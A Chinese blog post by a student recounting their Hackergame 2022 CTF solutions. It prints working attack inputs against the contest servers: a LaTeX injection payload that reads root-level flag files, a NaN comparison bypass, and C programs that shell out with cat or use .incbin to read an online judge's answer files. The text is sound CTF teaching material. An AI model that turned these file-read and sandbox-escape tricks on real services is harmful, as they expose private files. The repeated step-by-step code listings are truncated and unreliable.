记我的第一次 CTF: Hackergame 2022

October 29, 2022 · 86 min read

建议 Tips

您正在查看印刷版本的博客, 印刷版本的博客可能会缺少部分交互功能, 部分内容显示不全或过时. 如果您在查看该印刷版博客时遇到了任何问题, 欢迎来此链接查看在线版: https://www.kxxt.dev/blog/my-first-ctf-hackergame-2022/

You are viewing a printed version of this blog. It may lack some interactive features and some content might now be fully displayed or outdated. If you encounter any problems while viewing this printed version of the blog, feel free to view the online version here: https://www.kxxt.dev/blog/my-first-ctf-hackergame-2022/

送你一个 Shell 当见面礼(逃

这篇博客的阅读时间估计不对。你并不需要 80 分钟来阅读本文。

个人总结

这是我第一次参加 CTF 比赛,最后混了个 34 名,感觉还不错。曾经就听说过 CTF 这个比赛,不过一直没有进一步了解,也没有参加过。在 Hackergame 2022 开始之前,我所做的准备也只是逛了逛 CTF Wiki, 从 CTFHub 上刷了些 web 题。

image-20221029193959458

最后这个比赛名次对于我这种 CTF 萌新来说还是蛮高的。不过能取得这样一个名次,还是和我平时的积累有很大关系的。虽然我平时并不关注 CTF 相关的内容,但是作为一个可能即将成为程序员的人,我还是一直比较在乎自己编写的代码的安全性的,XSS、提权漏洞、缓冲区溢出这些操作我都是比较熟悉的,不过我一般都是在编写代码时以一种防御性的姿态来避免这些攻击发生在我自己的代码上,这次比赛使我第一次体会到作为攻击者去利用这些漏洞是什么体验。

最近在看 CSAPP,十几天前刚学会了 x86 汇编,没想到就在 flag 自动机那道题里用到了。不过作为日常 Linux 用户而言,好几道题(家目录里的秘密/传达不到的文件)确实只需要一些基础的搜索和再正常不过命令行操作就可以完成。

然而作为一名数学院的学生,我一道正经的数学题都没做出来,实在是有些丢数学院的脸了。(算了,我们专业被开除出数学籍了,统计学算个屁的数学)。

密码学题我连题都看不懂,除了惜字如金第一题我知道该怎么做,但是懒得写了。

量子藏宝图那道题考察了一些需要现学现卖的新知识,出的不是很难,所以我这种混子得以在纸上计算来把 128 - 4 * 8 个 bit 翻译成 12 个字符。

明年我如果还有时间,一定会再次参加 Hackergame 的!

比赛体验

比赛体验极佳。除了

  • 有时需要重启到 Windows 系统之外
  • 光与影在 Linux + Firefox 下跑起来只有 10 fps,不过误伤大雅
  • Killed
  • (大佬太多了,你们把我从前 30 名里挤出来了)

Write Up Part I

我把 Write Up 分成好几个部分写只是为了防止右边导航栏溢出而已,没别的意思。一个小节里面标题堆得太多了会导致右边导航栏显示不下。

签到

打开签到题,就看到了经典的(对于我这种人工智能相关专业的人而言)手写数字识别。嗯。。。最后一个框倒计时 0 秒,很显然是不可能让你直接手签 2022 过掉的。

为了观察浏览器与服务器数据交流的格式,我手签了一个,点击提交按钮,发现直接跳转到了 http://202.38.93.111:12022/?result=2?5?

那么,我们就可以合理的怀疑 http://202.38.93.111:12022/?result=2022 这个网址能把我们心心念念的 flag 送给我们。果然,flag 就这样到手了。(然鹅此时一血已经被手快的人拿走了)

签到

猫咪问答喵

参加猫咪问答喵,参加喵咪问答谢谢喵。

中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵?

Question

  1. 中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵?

提示:格式为 YYYY-MM,例如 2038 年 1 月即为 2038-01。

Google 搜索 中国科学技术大学 NEBULA 战队(USTC NEBULA) 喵, 发现第一个结果中提到喵

中国科学技术大学“星云战队(Nebula)”成立于 2017 年 3 月,“星云”一词来自中国科学技术大学 BBS“瀚海星云”,代表同学们对科学技术的无限向往和追求。战队现领队为网络空间安全学院吴文涛老师,现任队长为网络空间安全学院李蔚林、童蒙和武汉。战队核心成员包括了来自网络空间安全学院、少年班学院、物理学院、计算机学院等各个院系的同学,充分体现了我校多学院共建网络空间安全一级学科的特点。战队以赛代练,以赛促学,在诸多赛事中获得佳绩。

所以喵可以确定此题答案为 2017-03 喵.

请问这个 KDE 程序的名字是什么?

Question

  1. 2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么?

提示:英文单词,首字母大写,其他字母小写。

Google 搜索 中国科学技术大学 软件自由日 LUG@USTC 喵,一个来自 Google Groups 网站的搜索结果 中提到喵

往届活动和详细介绍见:https://lug.ustc.edu.cn/wiki/lug/events/sfd

打开此链接可以看到 2022 年 SFD 活动的详细信息喵,表格中有一行

讲者主题资料
陶柯宇闪电演讲:《GNOME Wayland 使用体验:一个普通用户的视角》Slides

打开 Slides 喵, 在第 15 页可以找到题目所述截图喵。

图片里菜单项里 Configure Kdenlive 很显然写明喵应用程序的名称。

slide

Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?

Question

  1. 22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?

提示:格式为 2 位数字的整数。

Google 搜索 Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少 喵。然而第一页上没什么有效信息喵。自然而然想到用英文搜索喵。

firefox windows 2000

谷歌直接把结果加粗丢给咱喵,好耶!

首个变动此行为的 commit 的 hash

Question

  1. 你知道 PwnKit(CVE-2021-4034)喵?据可靠谣传,出题组的某位同学本来想出这样一道类似的题,但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵!那么,请找出在 Linux 内核 master 分支(torvalds/linux.git)下,首个变动此行为的 commit 的 hash 吧喵!

提示:格式为 40 个字符长的 commit 的 SHA1 哈希值,字母小写,注意不是 merge commit。

首先当然要 Clone Linux 的代码仓库喵(这仓库好大喵。。。需要一段时间才能克隆下来喵):


git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git

然后在执行了 n 多次 Google 搜索之后喵,kxxt 发现加上搜索条件 site:kernel.org 之后再搜索 CVE-2021-4034 就能在第一个搜索结果中看到相关的 PATCH 喵。

这个 PATCH 改动了 fs/exec.c 这个文件喵。咱喵可以合理的推测对于 CVE-2021-4034 的修复应该发生在这个文件喵(懒的管这个 PATCH 是否被合并了)。

用 VSCode 打开 Linux 仓库喵,等它加载完成喵(等待 Activating Extensions),打开 fs/exec.c 然后在 TIMELINE 面板(应该是 Git Lens 插件的功能)下面用肉眼搜索相关改动喵。

image-20221027215512265

很快就找到了喵。右键复制 Commit ID, 此题就结束了喵。

你知道猫咪在连接什么域名吗?

Question

  1. 通过监视猫咪在键盘上看似乱踩的故意行为,不出所料发现其秘密连上了一个 ssh 服务器,终端显示 ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.,你知道猫咪在连接什么域名吗?

提示:填写形如 example.com 的二级域名,答案中不同的字母有 6 个。

这道题 kxxt 一开始真的没搜到喵。想要暴搜却发现状态空间太大了,搜不完喵。后来 Google 搜索 public ssh server 点进第一个结果找到了答案喵。

Caution

其实我一开始搜索的时候就找到了这个帖子,不过我当时并没有耐心看完所有的回答喵。当时我看了 Accepted Answer 里没有我想找的东西就把这个 tab 杀掉了。

现在想来看看其他回答也是很有必要的喵,毕竟 Accepted Answer 是提问者采纳的回答,并不是最适合所有人的回答。而且我第一次访问到这个链接的时候甚至都没有注意到第二个回答的 Up Vote 比 Accepted Answer 更多.

serverfault page

想不到吧,sdf.org 除了 ssh server 之外还有 minecraft server (

image-20221027221951434

“网络通”定价为 20 元一个月是从哪一天正式实行的?

Question

  1. 中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的?

提示:格式为 YYYY-MM-DD,例如 2038 年 1 月 1 日,即为 2038-01-01。

这道题目我是真的没有搜出来喵,不过得益于题目的状态空间比较小(一年 365 天,按 10 年算,不也就 3650 种情况喵?),最后我靠暴搜解出了这道题。

Danger

其实咱喵一开始搜到了一些极其具有误导性的信息,比如:

  • 这个页面 上有两个关于网络通的链接,标的时间都是 2015 年喵
  • 还有几处咱喵已经忘了,反正不是答案所在的年份喵

话不多喵,直接上脚本喵:

brute-force-date.py

import requests
cookie = "session=你的session"
url = "http://202.38.93.111:10002/"
criterion = '你全部答错了喵!'
BASE_ANS = {'q1': "", 'q2': "", 'q3': "",
'q4': "", 'q5': "", 'q6': ""}
def ans(val):
return BASE_ANS | {'q6': val}
def print_and_return(x):
print(x)
return x
resps = [requests.post(url, headers={'Cookie': cookie}, data=ans(
print_and_return(f'2003-{j:02}-{i:02}'))) for i in range(1, 32) for j in range(1, 13)]
print([resp for resp in resps if resp.status_code != 200])
print([resp.text for resp in resps if criterion not in resp.text])

代码很简单喵,我就略过不讲喵。更换年份直接修改脚本就可以喵。最后跑出来是 2003年3月1日喵。真的很搞人心态喵,咱喵从 2015 年一路试到 2003 年才作出来。

喵~

参加猫咪问答喵,参加喵咪问答谢谢喵。

喵喵结束,变回人形喽。

家目录里的秘密

Question

实验室给小 K 分配了一个高性能服务器的账户,为了不用重新配置 VSCode, Rclone 等小 K 常用的生产力工具,最简单的方法当然是把自己的家目录打包拷贝过去。

但是很不巧,对存放于小 K 电脑里的 Hackergame 2022 的 flag 觊觎已久的 Eve 同学恰好最近拿到了这个服务器的管理员权限(通过觊觎另一位同学的敏感信息),于是也拿到了小 K 同学家目录的压缩包。

然而更不巧的是,由于 Hackergame 部署了基于魔法的作弊行为预知系统,Eve 同学还未来得及解压压缩包就被 Z 同学提前抓获。

为了证明 Eve 同学不良企图的危害性,你能在这个压缩包里找到重要的 flag 信息吗?

公益广告:题目千万条,诚信第一条!解题不合规,同学两行泪。

解压缩之后直接搜索 flag, 第一个 flag 就有了,非常简单。

image-20221028105031480

然后打开 rclone 的配置文件 user/.config/rclone/rclone.conf:


[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ

发现 pass 是一个晦涩难懂的字符串,我们可以断定 flag2 就藏在这段密码里。

然后搜索 Google 搜索 decrypt rclone passwd in config, 点进第一个搜索结果

帖子里提到了密码是用一个死密钥加密的,所以我们能够对它进行解密,同时作者也给出了一段破解密码的 golang 程序和 Go Playground 链接

The password that is saved on crypt remotes on ~/.config/rclone.conf is encrypted with a hardcoded key, therefore it can be recovered.

I’ve copied some code from the rclone source tree and added a line to make it easier for people to run it.

Just go to https://play.golang.org/p/IcRYDip3PnE and replace the string YOUR PSEUDO-ENCRYPTED PASSWORD HERE with the actual password that is written in your ~/.config/rclone.conf file, then click “Run”.

那我们把加密(或者说混淆)过的密码输入到里面,运行代码,就得到了 flag。

image-20221028152130397

吐槽:你们 Go Playground 怎么不带语法高亮啊!!!!!!我眼睛要瞎了🫠🫠🫠🫠🫠🫠

HeiLang

Question

来自 Heicore 社区的新一代编程语言 HeiLang,基于第三代大蟒蛇语言,但是抛弃了原有的难以理解的 | 运算,升级为了更加先进的语法,用 A[x | y | z] = t 来表示之前复杂的 A[x] = t; A[y] = t; A[z] = t

作为一个编程爱好者,我觉得实在是太酷了,很符合我对未来编程语言的想象,科技并带着趣味。

我们直接写一个脚本将 Heilang 的玄学语法转换成正常 Python 语法, 然后运行转换后的脚本就得到了 flag:

transform.py
命令行

from itertools import chain
import sys
import re
def process_line(line):
r = re.match('^a\[([\d\|\s]+)\] = (\d+)$', line)
if r is None:
return [line]
splited = r.group(1).split(' | ')
rhs = r.group(2)
return [f'a[{i}]={rhs}' for i in splited]
results = [process_line(line) for line in sys.stdin.readlines()]
results = chain(*results)
print('\n'.join(list(results)))

Xcaptcha

题目懒的贴了。

捕获几个网络请求能看出来要计算的数字在 html 里,用 htmlq 提取出来应该很方便。高精度?果断上 Python!

失败的尝试

嗯,这不就是一秒内完成三个高精度整数加法的事,这还难得到我?于是就有了下面的 Python 脚本和 bash 混合编程

calc.py

import sys
import requests
lines = sys.stdin.readlines()
ans = [eval(line.split()[0]) for line in lines]
cookie = "从浏览器里复制出来的Cookie(此处有坑)"
r = requests.post('http://202.38.93.111:10047/xcaptcha', headers={
"Cookie": cookie
}, data={
"captcha1": ans[0],
"captcha2": ans[1],
"captcha3": ans[2],
})
print(r.text)

命令行

http 202.38.93.111:10047/xcaptcha 'Cookie: 你的Cookie' | htmlq '.form-group > label' --text | python calc.py

WoC!怎么TLE了???我明明没有超时呀???于是 kxxt 就被卡(qia, 三声)在这里很久

response

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/static/bootstrap/css/bootstrap.min.css">
<title>Xcaptcha</title>
</head>
<body>
<div class="container px-3 py-3">
<h1>AGI 核心机房 准入验证</h1>
<p>验证失败:超过 1 秒限制</p>
<a href="/xcaptcha"><img src="/static/xcaptcha.png" alt="xcaptcha" class="img-fluid"></a>
</div>
</body>
</html>

修正

后来我用 httpie 手动和题目交互,发现原来是 GET 请求有对 Cookie 做修改。而我之前一直用的从浏览器里复制出来的 Cookie 😢😭😓。

然后就直接把所有逻辑都写在 Python 里了,因为把新 Cookie 传给 Python 不是很方便:

calc.py

import re
import requests
cookie = "你的 Cookie"
resp = requests.get('http://202.38.93.111:10047/xcaptcha',
headers={"Cookie": cookie})
text = resp.text
cookie = resp.headers['Set-Cookie']
mat = re.findall(r"(\d+)\+(\d+) 的结果是?", text)
r = requests.post('http://202.38.93.111:10047/xcaptcha', headers={
"Cookie": cookie
}, data={
"captcha1": int(mat[0][0])+int(mat[0][1]),
"captcha2": int(mat[1][0])+int(mat[1][1]),
"captcha3": int(mat[2][0])+int(mat[2][1]),
})
print(r.text)

response

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/static/bootstrap/css/bootstrap.min.css">
<title>Xcaptcha</title>
</head>
<body>
<div class="container px-3 py-3">
<h1>AGI 核心机房 准入验证</h1>
<p>验证成功。</p>
<img src="/static/xcaptcha-success.png" alt="xcaptcha" class="img-fluid">
<p>flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_6334c73851}</p>
</div>
</body>
</html>

这不,flag 到手了,也没有那么麻烦吗。。。。

旅行照片 2.0(照片分析)

丢给一个在线 EXIF 信息查看器就能得到答案。 推荐:https://exifdata.com/

从众多小米手机的图像中浏览了一番,发现是红米 Note 9: https://www.wikiwand.com/zh-hans/Redmi_Note_9

不过航班我是真的不会找。日本上空这么多航班,我怎么知道是哪一个???(也没找到免费的能看五月份航班数据的网站)

猜数字

一打开 GuessNumber.jvav, 一股“企业级”应用开发的味道便扑面而来。

首先是一屏 import s

imports
GuessNumber
State.collect
State.update

_32
import java.io.ByteArrayInputStream;
_32
import java.io.ByteArrayOutputStream;
_32
import java.io.IOException;
_32
import java.net.InetSocketAddress;
_32
import java.nio.ByteBuffer;
_32
import java.nio.charset.StandardCharsets;
_32
import java.nio.file.Files;
_32
import java.nio.file.Path;
_32
import java.security.GeneralSecurityException;
_32
import java.security.MessageDigest;
_32
import java.security.PublicKey;
_32
import java.security.SecureRandom;
_32
import java.security.Signature;
_32
import java.security.cert.CertificateFactory;
_32
import java.util.Base64;
_32
import java.util.List;
_32
import java.util.Locale;
_32
import java.util.Map;
_32
import java.util.Objects;
_32
import java.util.Optional;
_32
import java.util.OptionalDouble;
_32
import java.util.Random;
_32
import java.util.Stack;
_32
import java.util.concurrent.ConcurrentHashMap;
_32
import java.util.concurrent.ForkJoinPool;
_32
import java.util.regex.Pattern;
_32
_32
import javax.xml.stream.XMLEventReader;
_32
import javax.xml.stream.XMLInputFactory;
_32
import javax.xml.stream.XMLOutputFactory;
_32
import javax.xml.stream.XMLStreamException;
_32
import javax.xml.stream.XMLStreamWriter;

然后又是大大的面向对象的 GuessNumber. 还有为什么要用三个空格缩进。。。

我们在 State 类的 collect 方法 (你可以把鼠标放在加下划虚线的文字上或者触摸它们,kxxt 会自动给您高亮相关代码)和 update 方法中可以发现一个致命的漏洞:

它们判断一个数和被猜数字是否相等的逻辑是:如果这个数既不大于被猜数也不小于被猜数,那么就通过。

然而,众所周知,NaN 既不大于任何一个数,也不小于任何一个数。所以我们把 NaN 交上去就过了。

万恶的网页交不了 NaN. 欺负我在用手机做题是吧?我掏出了 termux, 熟练的使用 pip 安装了 httpie。然后左一个 POST 右一个 GET 就把它干掉了。

命令行

$ http POST 202.38.93.111:18000/state 'Authorization: Bearer 你的token' <<< '<state><guess>NaN</guess></state>'
HTTP/1.1 204 No Content
Date: Fri, 28 Oct 2022 09:14:34 GMT
$ http GET 202.38.93.111:18000/state 'Authorization: Bearer 你的token'
HTTP/1.1 200 OK
Content-length: 155
Content-type: text/xml;charset=utf-8
Date: Fri, 28 Oct 2022 09:16:08 GMT
<?xml version="1.0" ?>
<state>
<name>534</name>
<passed>1</passed>
<talented>1</talented>
<flag>flag{gu3ss-n0t-a-numb3r-1nst3ad-ca5760cf631aba18}</flag>
</state>

Write Up Part II

这里放段字,防止两个标题挨得太近出 Bug

LaTeX 机器人

Question

在网上社交群组中交流数学和物理问题时,总是免不了输入公式。而显然大多数常用的聊天软件并不能做到这一点。为了方便大家在水群和卖弱之余能够高效地进行学术交流,G 社的同学制作了一个简单易用的将 LaTeX 公式代码转换成图片的网站,并通过聊天机器人在群里实时将群友发送的公式转换成图片发出。

这个网站的思路也很直接:把用户输入的 LaTeX 插入到一个写好头部和尾部的 TeX 文件中,将文件编译成 PDF,再将 PDF 裁剪成大小合适的图片。

“LaTeX 又不是被编译执行的代码,这种东西不会有事的。”

物理出身的开发者们明显不是太在意这个网站的安全问题,也没有对用户的输入做任何检查。

那你能想办法获得服务器上放在根目录下的 flag 吗?

纯文本

第一个 flag 位于 /flag1,flag 花括号内的内容由纯文本组成(即只包含大写小写字母和数字 0-9)。

特殊字符混入

第二个 flag 位于 /flag2,这次,flag 花括号内的内容除了字母和数字之外,还混入了两种特殊字符:下划线(_)和井号(#)。你可能需要想些其他办法了。

flag1

flag1 很简单,直接用 \input 宏把 /flag1 文件读进来就行。

image-20221028182843721

花括号被 LaTeX\LaTeX 吃掉了,填 flag 的时候自己补上就行。

flag2

flag2 卡了我很久。后来 Google 搜索 latex raw text 得到的第一个结果 中提到了一个定义新的 environment 使得 $, &, #, ^, _, ~, % 这些特殊字符能够被显示出来的方法。

根据 base.tex, latex_to_image_converter.sh 的内容,我们可以确定加入了我们的输入之后 tex 文件的样子

base.tex
latex_to_image_converter.sh
result.tex

\documentclass[preview]{standalone}
\begin{document}
$$
$$
\end{document}

那么我们把下面的 payload 交给 LaTeX\LaTeX 机器人就可以得到 flag2(可怜的花括号还是照样会被吃掉。。。)

payload.tex

\newenvironment{simplechar}{\catcode`\$=12 \catcode`\&=12 \catcode`\#=12 \catcode`\^=12 \catcode`\_=12 \catcode`\~=12 \catcode`\%=12 }{} \begin{simplechar}\input{/flag2}\end{simplechar}

image-20221028185652228

Flag 的痕迹

Question

小 Z 听说 Dokuwiki 配置很简单,所以在自己的机器上整了一份。可是不巧的是,他一不小心把珍贵的 flag 粘贴到了 wiki 首页提交了!他赶紧改好,并且也把历史记录(revisions)功能关掉了。

「这样就应该就不会泄漏 flag 了吧」,小 Z 如是安慰自己。

然而事实真的如此吗?

(题目 Dokuwiki 版本基于 2022-07-31a “Igor”)

从自己电脑上运行一个 Dokuwiki 复现一下小 Z 的操作。


mkdir wiki && docker run -d \
--name=dokuwiki \
-e PUID=1000 \
-e PGID=1000 \
-e TZ=Europe/London \
-p 8080:80 \
-v "$(pwd)/wiki":/config \
--restart unless-stopped \
lscr.io/linuxserver/dokuwiki:latest

然后进 localhost:8080 编辑首页,再做第二次编辑

我们进入到 revisions 页面,发现它有一个 diff 功能,可以显示改动,而且右边有一个链接 Link to this comparison view, 点击之后 url 里的 do=revisions 变成了 do=diff 。我们可以合理的怀疑小 Z 的 Dokuwiki 没有关掉 diff 功能。我们直接访问 http://202.38.93.111:15004/doku.php?id=start&do=diff 发现我们能够看到小Z 作出的历史改动,便拿到了 flag。

image-20221028191152405

安全的在线测评

Question

传说科大新的在线测评系统(Online Judge)正在锐意开发中。然而,新 OJ 迟迟不见踪影,旧的 OJ更旧的 OJ 却都已经停止了维护。某 2022 级计算机系的新生小 L 等得不耐烦了,当即表示不就是 OJ 吗,他 10 分钟就能写出来一个。

无法 AC 的题目

为了验证他写的新 OJ 的安全性,他决定在 OJ 上出一道不可能完成的题目——大整数分解,并且放出豪言:只要有人能 AC 这道题,就能得到传说中的 flag。当然,因为目前 OJ 只能运行 C 语言代码,即使请来一位少年班学院的天才恐怕也无济于事。

动态数据

为了防止数据意外泄露,小 L 还给 OJ 加入了动态数据生成功能,每次测评会随机生成一部分测试数据。这样,即使 OJ 测试数据泄露,攻击者也没办法通过所有测试样例了吧!(也许吧?)

判题脚本:下载

你可以通过 nc 202.38.93.111 10027 来连接题目,或者点击下面的 “打开/下载题目” 按钮通过网页终端与远程交互。

无法 AC 的题目

阅读 online_judge.py 可以发现 OJ 最终使用 runner 账户来运行我们的代码。然而它只把动态数据的输入输出文件的权限改成了 700,却(故意)忘记把 static.out 的权限改成 700 了。

online_judge.py

for i in range(N):
inpaths.append(os.path.join(DATA, f'dynamic{i}.in'))
outpaths.append(os.path.join(DATA, f'dynamic{i}.out'))
p, q = generate_data()
n = p * q
with open(inpaths[i], 'w') as f:
f.write(f'{n}\n')
with open(outpaths[i], 'w') as f:
f.write(f'{p}\n{q}\n')
os.chmod(inpaths[i], 0o700)
os.chmod(outpaths[i], 0o700)

于是我们可以直接一个 cat 过掉静态数据。

static.c

#include<stdlib.h>
int main() {
system("cat data/static.out");
return 0;
}

动态数据

再仔细阅读一下 OJ 的代码,发现它并没有用 runner 账户来编译我们的代码。所以如果我们的代码能在编译期把答案都读进来,我们就能过掉这道题了。

可是,dynamic{i}.out 文件里存了两个高精大整数,我直接把她们 #include 进来的话是会出编译错误的呀!

诶?编译错误!我为什么不能直接 #include "../flag.py" 然后靠编译器的错误输出拿到 flag 呢?

failed_attempt.c

请输入你的代码(以两个空行作为结尾):
#include "../flag.py"
In file included from ./temp/code.c:1:
./temp/../flag.py:1:1: error: unknown type name ‘import’
1 | import os
| ^~~~~~
./temp/../flag.py:3:1: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘flag1’
3 | flag1 = "fake{test1}"
| ^~~~~
静态数据测试: Compile Error
Connection closed

草,出题人还是想到了这一点的。你看他在 flag.py 的第三行放了个假 flag 来嘲讽你。

那嘛,我该怎么办呢?

后来我从 StackOverflow 上找到了一条汇编指令 .incbin (那条回答有点惨,只有一个 upvote,也就是说没人给它点过upvote)

下面代码里的 gcc_header这个 StackOverflow 帖子里提到的动态 #include 文件的一个方法。

为了惜字如金,我定义了一大堆宏来简化代码。

Hint

下面是一个 Code Hike 的 Scrollycoding 组件,为了获得更好的阅读体验,我建议您在较大的屏幕上查看。

如果您觉得右侧的目录树占用了较大的空间,您可以点击 TABLE OF CONTENTS 来隐藏/显示右侧的目录树(目录树暂时不会在小屏设备上显示,其实理论上在小屏设备上目录应该显示在文章开头,但是我太懒了,还没做,还请移动端用户多多包容🥹🥹🥹🥹)。

在大屏设备上,您可以点击各个步骤的内容,kxxt 会自动给您更新右侧的代码。

Step 1

hack.c

_10
#define __gcc_header(x) #x
_10
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_10
#define gcc_header(x) _gcc_header(x)
_10
_10
_10
_10
_10
_10
// 我是可爱的注释
_10
_10
_10
_10
_10
_10
_10
_10
_10
_10
_10

我们先定义 gcc_header 宏。这个宏的作用是把 gcc_header(i) 转化成字符串 "data/dynamici.out". 如果你看不懂这个宏在干什么,可以回去复习一下 C 语言。

Warning

不要用 VSCode 的格式化文档功能,格式化文档会在 data/dynamic 的分隔符两边加上空格导致编译失败。

Step 2

hack.c

_10
#define __gcc_header(x) #x
_10
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_10
#define gcc_header(x) _gcc_header(x)
_10
#define var_start(x) \
_10
asm("out" __gcc_header(x) ":.incbin \"" gcc_header(x) "\"")
_10
#define var_end(x) asm(".byte 0x00")
_10
_10
// 我往上挪了一行
_10
_10
_10
_10
_10
_10
_10
_10
_10
_10
_10
_10

然后我们定义把答案文件包括进来的宏 var_startvar_end.

  • var_start 利用汇编的 .incbin 指令把答案文件 data/dynamicx.out 作为二进制文件包括到编译结果中.
  • 除此之外,var_start 还在汇编中为包括进来的数据的起始地址添加了标签 outx
  • 注意:因为文件是作为二进制包括进来的,所以文件末尾并不以 '\0' 结尾。
  • 所以我们定义 var_end 宏来补上一个 0 字节。

Step 3

hack.c

_18
#define __gcc_header(x) #x
_18
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_18
#define gcc_header(x) _gcc_header(x)
_18
#define var_start(x) \
_18
asm("out" __gcc_header(x) ":.incbin \"" gcc_header(x) "\"")
_18
#define var_end(x) asm(".byte 0x00")
_18
// 当然要惜字如金了
_18
#define declar_var(x) extern char out##x[]
_18
#define include_str(x) \
_18
var_start(x); \
_18
var_end(x); \
_18
declar_var(x)
_18
_18
include_str(0);
_18
include_str(1);
_18
include_str(2);
_18
include_str(3);
_18
include_str(4);
_18
_18

  • 然后我们定义一个定义 external 变量的宏,她的作用就是告诉 C 语言我们在别处定义了一个名字叫 outxchar 数组。
  • 我们再定义 include_str 宏,它将完成嵌入答案文件和声明外部变量的工作合二为一
  • 然后就运行宏呗。没啥好讲的

Step 4

hack.c

_24
#define __gcc_header(x) #x
_24
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_24
#define gcc_header(x) _gcc_header(x)
_24
#define var_start(x) \
_24
asm("out" __gcc_header(x) ":.incbin \"" gcc_header(x) "\"")
_24
#define var_end(x) asm(".byte 0x00")
_24
// 当然要惜字如金了
_24
#define declar_var(x) extern char out##x[]
_24
#define include_str(x) \
_24
var_start(x); \
_24
var_end(x); \
_24
declar_var(x)
_24
_24
include_str(0);
_24
include_str(1);
_24
include_str(2);
_24
include_str(3);
_24
include_str(4);
_24
_24
#include <stdlib.h>

  • 照例,引入库文件
  • 声明个数组做缓冲区
  • 我管它会不会溢出呢,死去的 OJ 又不会跳起来攻击我的代码

Step 5

hack.c

_32
#define __gcc_header(x) #x
_32
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_32
#define gcc_header(x) _gcc_header(x)
_32
#define var_start(x) \
_32
asm("out" __gcc_header(x) ":.incbin \"" gcc_header(x) "\"")
_32
#define var_end(x) asm(".byte 0x00")
_32
// 当然要惜字如金了
_32
#define declar_var(x) extern char out##x[]
_32
#define include_str(x) \
_32
var_start(x); \
_32
var_end(x); \
_32
declar_var(x)
_32
_32
include_str(0);
_32
include_str(1);
_32
include_str(2);
_32
include_str(3);
_32
include_str(4);
_32
_32
if (access("./temp/dsa", F_OK) == -1) {

  • 终于到了 main 函数了
  • 我们的程序需要保存一个状态,记录我们接下来要输出那个文件
  • 所以我们就把接下来要输出的文件的标号存到 ./temp/dsa 这个文件里。
  • 如果没有这个文件,我们就输出静态数据的答案并将 0 写入状态文件

Step 6

hack.c

_39
#define __gcc_header(x) #x
_39
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_39
#define gcc_header(x) _gcc_header(x)
_39
#define var_start(x) \
_39
asm("out" __gcc_header(x) ":.incbin \"" gcc_header(x) "\"")
_39
#define var_end(x) asm(".byte 0x00")
_39
// 当然要惜字如金了
_39
#define declar_var(x) extern char out##x[]
_39
#define include_str(x) \
_39
var_start(x); \
_39
var_end(x); \
_39
declar_var(x)
_39
_39
include_str(0);
_39
include_str(1);
_39
include_str(2);
_39
include_str(3);
_39
include_str(4);
_39
_39
sprintf(buffer, "echo %d > ./temp/dsa", n + 1);

  • 若状态文件存在,我们就读入状态
  • 然后把下一个状态写入状态文件
hack.c

_50
#define __gcc_header(x) #x
_50
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_50
#define gcc_header(x) _gcc_header(x)
_50
#define var_start(x) \
_50
asm("out" __gcc_header(x) ":.incbin \"" gcc_header(x) "\"")
_50
#define var_end(x) asm(".byte 0x00")
_50
// 当然要惜字如金了
_50
#define declar_var(x) extern char out##x[]
_50
#define include_str(x) \
_50
var_start(x); \
_50
var_end(x); \
_50
declar_var(x)
_50
_50
include_str(0);
_50
include_str(1);
_50
include_str(2);
_50
include_str(3);
_50
include_str(4);
_50
_50
#define out_case(x) \

Last Step

  • 我们定义一个宏来惜字如金,减少代码字数
  • 用一个 switch statement 来输出动态数据对应的答案
  • 撒花 🎉 , 完结

完整代码

  • 桌面端用户点我显示完整代码。
  • 当然你也可以点击代码块右上角的按钮
hack.c

_50
#define __gcc_header(x) #x
_50
#define _gcc_header(x) __gcc_header(data/dynamic##x.out)
_50
#define gcc_header(x) _gcc_header(x)
_50
#define var_start(x) \
_50
asm("out" __gcc_header(x) ":.incbin \"" gcc_header(x) "\"")
_50
#define var_end(x) asm(".byte 0x00")
_50
// 当然要惜字如金了
_50
#define declar_var(x) extern char out##x[]
_50
#define include_str(x) \
_50
var_start(x); \
_50
var_end(x); \
_50
declar_var(x)
_50
_50
include_str(0);
_50
include_str(1);
_50
include_str(2);
_50
include_str(3);
_50
include_str(4);
_50
_50
#include <stdio.h>

Step 1

我们先定义 gcc_header 宏。这个宏的作用是把 gcc_header(i) 转化成字符串 "data/dynamici.out". 如果你看不懂这个宏在干什么,可以回去复习一下 C 语言。

Warning

不要用 VSCode 的格式化文档功能,格式化文档会在 data/dynamic 的分隔符两边加上空格导致编译失败。

Step 2

